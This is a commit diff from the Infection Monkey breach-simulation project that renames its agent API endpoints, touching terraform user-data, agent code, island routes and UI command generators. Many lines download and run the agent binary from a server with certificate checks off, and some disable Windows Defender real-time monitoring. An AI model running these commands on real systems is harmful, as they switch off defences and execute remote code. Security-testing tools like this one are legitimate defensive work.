Merge pull request #1893 from guardicore/1888-rename-monkey-endpoint

1888 rename monkey endpoint
This commit is contained in:
Mike Salvatore 2022-04-19 07:37:31 -04:00 committed by GitHub
commit 587331dbdb
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
12 changed files with 37 additions and 131 deletions

View File

@ -30,6 +30,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
- The "/api/test/clear_caches" endpoint to "/api/test/clear-caches". #1888 - The "/api/test/clear_caches" endpoint to "/api/test/clear-caches". #1888
- The "/api/netmap/nodeStates" endpoint to "/api/netmap/node-states". #1888 - The "/api/netmap/nodeStates" endpoint to "/api/netmap/node-states". #1888
- All "/api/monkey_control" endpoints to "/api/monkey-control". #1888 - All "/api/monkey_control" endpoints to "/api/monkey-control". #1888
- All "/api/monkey" endpoints to "/api/agent". #1888
### Removed ### Removed
- VSFTPD exploiter. #1533 - VSFTPD exploiter. #1533

View File

@ -2,9 +2,9 @@
## About ## About
OS compatibility is an environment on AWS that OS compatibility is an environment on AWS that
is designed to test monkey binary compatibility on is designed to test monkey binary compatibility on
different operating systems. different operating systems.
This environment is deployed using terraform scripts This environment is deployed using terraform scripts
located in this directory. located in this directory.
@ -33,7 +33,7 @@ terraform apply
1. Launch os_compat_ISLAND machine and upload your binaries/update island. Reset island environment. 1. Launch os_compat_ISLAND machine and upload your binaries/update island. Reset island environment.
2. Launch/Reboot all other os_compat test machines (Can be filtered with tag "Purpose: os_compat_instance") 2. Launch/Reboot all other os_compat test machines (Can be filtered with tag "Purpose: os_compat_instance")
3. Wait until machines boot and run monkey 3. Wait until machines boot and run monkey
4. Launch `test_compatibility.py` pytest script with island ip parameter 4. Launch `test_compatibility.py` pytest script with island ip parameter
(e.g. `test_compatibility.py --island 111.111.111.111:5000`) (e.g. `test_compatibility.py --island 111.111.111.111:5000`)
## Machines ## Machines
@ -68,13 +68,13 @@ Example commands:
```cmd ```cmd
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy [System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue
Invoke-WebRequest -Uri 'https://10.0.0.251:5000/api/monkey/download/monkey-windows-64.exe' -OutFile 'C:\windows\temp\monkey-windows-64.exe' -UseBasicParsing Invoke-WebRequest -Uri 'https://10.0.0.251:5000/api/agent/download/windows' -OutFile 'C:\windows\temp\monkey-windows-64.exe' -UseBasicParsing
C:\windows\temp\monkey-windows-64.exe m0nk3y -s 10.0.0.251:5000 C:\windows\temp\monkey-windows-64.exe m0nk3y -s 10.0.0.251:5000
``` ```
- Bash: - Bash:
```shell script ```shell script
wget --no-check-certificate -q https://10.0.0.251:5000/api/monkey/download/monkey-linux-64 -O ./monkey-linux-64 || curl https://10.0.0.251:5000/api/monkey/download/monkey-linux-64 -k -o monkey-linux-64 wget --no-check-certificate -q https://10.0.0.251:5000/api/agent/download/linux -O ./monkey-linux-64 || curl https://10.0.0.251:5000/api/agent/download/linux -k -o monkey-linux-64
chmod +x ./monkey-linux-64 chmod +x ./monkey-linux-64
./monkey-linux-64 m0nk3y -s 10.0.0.251:5000 ./monkey-linux-64 m0nk3y -s 10.0.0.251:5000
``` ```

View File

@ -47,37 +47,10 @@ Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt" Content-Disposition: attachment; filename="userdata.txt"
#!/bin/bash #!/bin/bash
rm ./monkey-linux-64 rm ./monkey-linux-64
wget --no-check-certificate -q https://10.0.0.251:5000/api/monkey/download/monkey-linux-64 -O ./monkey-linux-64 || curl https://10.0.0.251:5000/api/monkey/download/monkey-linux-64 -k -o monkey-linux-64 wget --no-check-certificate -q https://10.0.0.251:5000/api/agent/download/linux -O ./monkey-linux-64 || curl https://10.0.0.251:5000/api/agent/download/linux -k -o monkey-linux-64
chmod +x ./monkey-linux-64 chmod +x ./monkey-linux-64
./monkey-linux-64 m0nk3y -s 10.0.0.251:5000 ./monkey-linux-64 m0nk3y -s 10.0.0.251:5000
--// --//
EOF
user_data_linux_32 = <<EOF
Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"
#cloud-config
cloud_final_modules:
- [scripts-user, always]
--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"
#!/bin/bash
rm ./monkey-linux-32
wget --no-check-certificate -q https://10.0.0.251:5000/api/monkey/download/monkey-linux-32 -O ./monkey-linux-32 || curl https://10.0.0.251:5000/api/monkey/download/monkey-linux-32 -k -o monkey-linux-32
chmod +x ./monkey-linux-32
./monkey-linux-32 m0nk3y -s 10.0.0.251:5000
--//
EOF EOF
user_data_windows_64 = <<EOF user_data_windows_64 = <<EOF
@ -95,31 +68,10 @@ add-type @"
"@ "@
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy [System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue
Invoke-WebRequest -Uri 'https://10.0.0.251:5000/api/monkey/download/monkey-windows-64.exe' -OutFile 'C:\windows\temp\monkey-windows-64.exe' -UseBasicParsing Invoke-WebRequest -Uri 'https://10.0.0.251:5000/api/agent/download/windows' -OutFile 'C:\windows\temp\monkey-windows-64.exe' -UseBasicParsing
C:\windows\temp\monkey-windows-64.exe m0nk3y -s 10.0.0.251:5000 C:\windows\temp\monkey-windows-64.exe m0nk3y -s 10.0.0.251:5000
</powershell> </powershell>
<persist>true</persist> <persist>true</persist>
EOF
user_data_windows_32 = <<EOF
<powershell>
add-type @"
using System.Net;
using System.Security.Cryptography.X509Certificates;
public class TrustAllCertsPolicy : ICertificatePolicy {
public bool CheckValidationResult(
ServicePoint srvPoint, X509Certificate certificate,
WebRequest request, int certificateProblem) {
return true;
}
}
"@
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue
Invoke-WebRequest -Uri 'https://10.0.0.251:5000/api/monkey/download/monkey-windows-32.exe' -OutFile 'C:\windows\temp\monkey-windows-32.exe' -UseBasicParsing
C:\windows\temp\monkey-windows-32.exe m0nk3y -s 10.0.0.251:5000
</powershell>
<persist>true</persist>
EOF EOF
} }

View File

@ -50,7 +50,7 @@ class ControlClient(object):
monkey["tunnel"] = ControlClient.proxies.get("https") monkey["tunnel"] = ControlClient.proxies.get("https")
requests.post( # noqa: DUO123 requests.post( # noqa: DUO123
"https://%s/api/monkey" % (WormConfiguration.current_server,), "https://%s/api/agent" % (WormConfiguration.current_server,),
data=json.dumps(monkey), data=json.dumps(monkey),
headers={"content-type": "application/json"}, headers={"content-type": "application/json"},
verify=False, verify=False,
@ -173,7 +173,7 @@ class ControlClient(object):
return return
try: try:
reply = requests.get( # noqa: DUO123 reply = requests.get( # noqa: DUO123
"https://%s/api/monkey/%s/legacy" % (WormConfiguration.current_server, GUID), "https://%s/api/agent/%s/legacy" % (WormConfiguration.current_server, GUID),
verify=False, verify=False,
proxies=ControlClient.proxies, proxies=ControlClient.proxies,
timeout=MEDIUM_REQUEST_TIMEOUT, timeout=MEDIUM_REQUEST_TIMEOUT,
@ -210,7 +210,7 @@ class ControlClient(object):
return return
try: try:
requests.patch( # noqa: DUO123 requests.patch( # noqa: DUO123
"https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), "https://%s/api/agent/%s" % (WormConfiguration.current_server, GUID),
data=json.dumps({"config_error": True}), data=json.dumps({"config_error": True}),
headers={"content-type": "application/json"}, headers={"content-type": "application/json"},
verify=False, verify=False,

View File

@ -33,7 +33,7 @@ class CachingAgentRepository(IAgentRepository):
@lru_cache(maxsize=None) @lru_cache(maxsize=None)
def _download_binary_from_island(self, os: str) -> bytes: def _download_binary_from_island(self, os: str) -> bytes:
response = requests.get( # noqa: DUO123 response = requests.get( # noqa: DUO123
f"{self._island_url}/api/monkey/download/{os}", f"{self._island_url}/api/agent/download/{os}",
verify=False, verify=False,
proxies=self._proxies, proxies=self._proxies,
timeout=MEDIUM_REQUEST_TIMEOUT, timeout=MEDIUM_REQUEST_TIMEOUT,

View File

@ -50,7 +50,7 @@ class ControlChannel(IControlChannel):
def get_config(self) -> dict: def get_config(self) -> dict:
try: try:
response = requests.get( # noqa: DUO123 response = requests.get( # noqa: DUO123
"https://%s/api/monkey/%s" % (WormConfiguration.current_server, self._agent_id), "https://%s/api/agent/%s" % (WormConfiguration.current_server, self._agent_id),
verify=False, verify=False,
proxies=ControlClient.proxies, proxies=ControlClient.proxies,
timeout=SHORT_REQUEST_TIMEOUT, timeout=SHORT_REQUEST_TIMEOUT,

View File

@ -117,9 +117,9 @@ def init_api_resources(api):
api.add_resource(Authenticate, "/api/auth") api.add_resource(Authenticate, "/api/auth")
api.add_resource( api.add_resource(
Monkey, Monkey,
"/api/monkey", "/api/agent",
"/api/monkey/<string:guid>", "/api/agent/<string:guid>",
"/api/monkey/<string:guid>/<string:config_format>", "/api/agent/<string:guid>/<string:config_format>",
) )
api.add_resource(LocalRun, "/api/local-monkey") api.add_resource(LocalRun, "/api/local-monkey")
api.add_resource(Telemetry, "/api/telemetry", "/api/telemetry/<string:monkey_guid>") api.add_resource(Telemetry, "/api/telemetry", "/api/telemetry/<string:monkey_guid>")
@ -130,7 +130,7 @@ def init_api_resources(api):
api.add_resource(ConfigurationImport, "/api/configuration/import") api.add_resource(ConfigurationImport, "/api/configuration/import")
api.add_resource( api.add_resource(
MonkeyDownload, MonkeyDownload,
"/api/monkey/download/<string:host_os>", "/api/agent/download/<string:host_os>",
) )
api.add_resource(NetMap, "/api/netmap") api.add_resource(NetMap, "/api/netmap")
api.add_resource(Edge, "/api/netmap/edge") api.add_resource(Edge, "/api/netmap/edge")

View File

@ -26,7 +26,7 @@ class Monkey(flask_restful.Resource):
if guid: if guid:
monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid}) monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid})
# TODO: When the "legacy" format is no longer needed, update this logic and remove the # TODO: When the "legacy" format is no longer needed, update this logic and remove the
# "/api/monkey/<string:guid>/<string:config_format>" route. Also considering not # "/api/agent/<string:guid>/<string:config_format>" route. Also considering not
# flattening the config in the first place. # flattening the config in the first place.
if config_format == "legacy": if config_format == "legacy":
ConfigService.decrypt_flat_config(monkey_json["config"]) ConfigService.decrypt_flat_config(monkey_json["config"])

View File

@ -41,14 +41,12 @@ class RemoteRunAwsService:
:param island_ip: IP of island the monkey will communicate with :param island_ip: IP of island the monkey will communicate with
:return: Dictionary with instance ids as keys, and True/False as values if succeeded or not :return: Dictionary with instance ids as keys, and True/False as values if succeeded or not
""" """
instances_bitness = RemoteRunAwsService.get_bitness(instances)
return CmdRunner.run_multiple_commands( return CmdRunner.run_multiple_commands(
instances, instances,
lambda instance: RemoteRunAwsService.run_aws_monkey_cmd_async( lambda instance: RemoteRunAwsService._run_aws_monkey_cmd_async(
instance["instance_id"], instance["instance_id"],
RemoteRunAwsService._is_linux(instance["os"]), RemoteRunAwsService._is_linux(instance["os"]),
island_ip, island_ip,
instances_bitness[instance["instance_id"]],
), ),
lambda _, result: result.is_success, lambda _, result: result.is_success,
) )
@ -65,60 +63,19 @@ class RemoteRunAwsService:
AwsService.set_region(RemoteRunAwsService.aws_instance.region) AwsService.set_region(RemoteRunAwsService.aws_instance.region)
@staticmethod @staticmethod
def get_bitness(instances): def _run_aws_monkey_cmd_async(instance_id, is_linux, island_ip):
"""
For all given instances, checks whether they're 32 or 64 bit.
:param instances: List of instances to check
:return: Dictionary with instance ids as keys, and True/False as values. True if 64bit,
False otherwise
"""
return CmdRunner.run_multiple_commands(
instances,
lambda instance: RemoteRunAwsService.run_aws_bitness_cmd_async(
instance["instance_id"], RemoteRunAwsService._is_linux(instance["os"])
),
lambda instance, result: RemoteRunAwsService._get_bitness_by_result(
RemoteRunAwsService._is_linux(instance["os"]), result
),
)
@staticmethod
def _get_bitness_by_result(is_linux, result):
if not result.is_success:
return None
elif is_linux:
return result.stdout.find("i686") == -1 # i686 means 32bit
else:
return (
result.stdout.lower().find("programfiles(x86)") != -1
) # if not found it means 32bit
@staticmethod
def run_aws_bitness_cmd_async(instance_id, is_linux):
"""
Runs an AWS command to check bitness
:param instance_id: Instance ID of target
:param is_linux: Whether target is linux
:return: Cmd
"""
cmd_text = "uname -m" if is_linux else "Get-ChildItem Env:"
return RemoteRunAwsService.run_aws_cmd_async(instance_id, is_linux, cmd_text)
@staticmethod
def run_aws_monkey_cmd_async(instance_id, is_linux, island_ip, is_64bit):
""" """
Runs a monkey remotely using AWS Runs a monkey remotely using AWS
:param instance_id: Instance ID of target :param instance_id: Instance ID of target
:param is_linux: Whether target is linux :param is_linux: Whether target is linux
:param island_ip: IP of the island which the instance will try to connect to :param island_ip: IP of the island which the instance will try to connect to
:param is_64bit: Whether the instance is 64bit
:return: Cmd :return: Cmd
""" """
cmd_text = RemoteRunAwsService._get_run_monkey_cmd_line(is_linux, is_64bit, island_ip) cmd_text = RemoteRunAwsService._get_run_monkey_cmd_line(is_linux, island_ip)
return RemoteRunAwsService.run_aws_cmd_async(instance_id, is_linux, cmd_text) return RemoteRunAwsService._run_aws_cmd_async(instance_id, is_linux, cmd_text)
@staticmethod @staticmethod
def run_aws_cmd_async(instance_id, is_linux, cmd_line): def _run_aws_cmd_async(instance_id, is_linux, cmd_line):
cmd_runner = AwsCmdRunner(is_linux, instance_id) cmd_runner = AwsCmdRunner(is_linux, instance_id)
return Cmd(cmd_runner, cmd_runner.run_command_async(cmd_line)) return Cmd(cmd_runner, cmd_runner.run_command_async(cmd_line))
@ -127,39 +84,35 @@ class RemoteRunAwsService:
return "linux" == os return "linux" == os
@staticmethod @staticmethod
def _get_run_monkey_cmd_linux_line(bit_text, island_ip): def _get_run_monkey_cmd_linux_line(island_ip):
return ( return (
r"wget --no-check-certificate https://" r"wget --no-check-certificate https://"
+ island_ip + island_ip
+ r":5000/api/monkey/download/monkey-linux-" + r":5000/api/agent/download/linux "
+ bit_text + r"-O monkey-linux-64"
+ r"; chmod +x monkey-linux-" + r"; chmod +x monkey-linux-64"
+ bit_text + r"; ./monkey-linux-64"
+ r"; ./monkey-linux-"
+ bit_text
+ r" m0nk3y -s " + r" m0nk3y -s "
+ island_ip + island_ip
+ r":5000" + r":5000"
) )
@staticmethod @staticmethod
def _get_run_monkey_cmd_windows_line(bit_text, island_ip): def _get_run_monkey_cmd_windows_line(island_ip):
return ( return (
r"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {" r"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {"
r"$true}; (New-Object System.Net.WebClient).DownloadFile('https://" r"$true}; (New-Object System.Net.WebClient).DownloadFile('https://"
+ island_ip + island_ip
+ r":5000/api/monkey/download/monkey-windows-" + r":5000/api/agent/download/windows'"
+ bit_text + r"'.\\monkey.exe'); "
+ r".exe','.\\monkey.exe'); "
r";Start-Process -FilePath '.\\monkey.exe' " r";Start-Process -FilePath '.\\monkey.exe' "
r"-ArgumentList 'm0nk3y -s " + island_ip + r":5000'; " r"-ArgumentList 'm0nk3y -s " + island_ip + r":5000'; "
) )
@staticmethod @staticmethod
def _get_run_monkey_cmd_line(is_linux, is_64bit, island_ip): def _get_run_monkey_cmd_line(is_linux, island_ip):
bit_text = "64" if is_64bit else "32"
return ( return (
RemoteRunAwsService._get_run_monkey_cmd_linux_line(bit_text, island_ip) RemoteRunAwsService._get_run_monkey_cmd_linux_line(island_ip)
if is_linux if is_linux
else RemoteRunAwsService._get_run_monkey_cmd_windows_line(bit_text, island_ip) else RemoteRunAwsService._get_run_monkey_cmd_windows_line(island_ip)
) )

View File

@ -1,5 +1,5 @@
export default function generateLocalLinuxCurl(ip, username) { export default function generateLocalLinuxCurl(ip, username) {
let command = `curl https://${ip}:5000/api/monkey/download/linux -k ` let command = `curl https://${ip}:5000/api/agent/download/linux -k `
+ `-o monkey-linux-64; ` + `-o monkey-linux-64; `
+ `chmod +x monkey-linux-64; ` + `chmod +x monkey-linux-64; `
+ `./monkey-linux-64 m0nk3y -s ${ip}:5000;`; + `./monkey-linux-64 m0nk3y -s ${ip}:5000;`;

View File

@ -1,5 +1,5 @@
export default function generateLocalLinuxWget(ip, username) { export default function generateLocalLinuxWget(ip, username) {
let command = `wget --no-check-certificate https://${ip}:5000/api/monkey/download/` let command = `wget --no-check-certificate https://${ip}:5000/api/agent/download/`
+ `linux -O ./monkey-linux-64; ` + `linux -O ./monkey-linux-64; `
+ `chmod +x monkey-linux-64; ` + `chmod +x monkey-linux-64; `
+ `./monkey-linux-64 m0nk3y -s ${ip}:5000`; + `./monkey-linux-64 m0nk3y -s ${ip}:5000`;

View File

@ -1,7 +1,7 @@
function getAgentDownloadCommand(ip) { function getAgentDownloadCommand(ip) {
return `$execCmd = @"\r\n` return `$execCmd = @"\r\n`
+ `[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {\`$true};` + `[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {\`$true};`
+ `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/windows',` + `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/agent/download/windows',`
+ `"""$env:TEMP\\monkey.exe""");Start-Process -FilePath '$env:TEMP\\monkey.exe' -ArgumentList 'm0nk3y -s ${ip}:5000';` + `"""$env:TEMP\\monkey.exe""");Start-Process -FilePath '$env:TEMP\\monkey.exe' -ArgumentList 'm0nk3y -s ${ip}:5000';`
+ `\r\n"@; \r\n` + `\r\n"@; \r\n`
+ `Start-Process -FilePath powershell.exe -ArgumentList $execCmd`; + `Start-Process -FilePath powershell.exe -ArgumentList $execCmd`;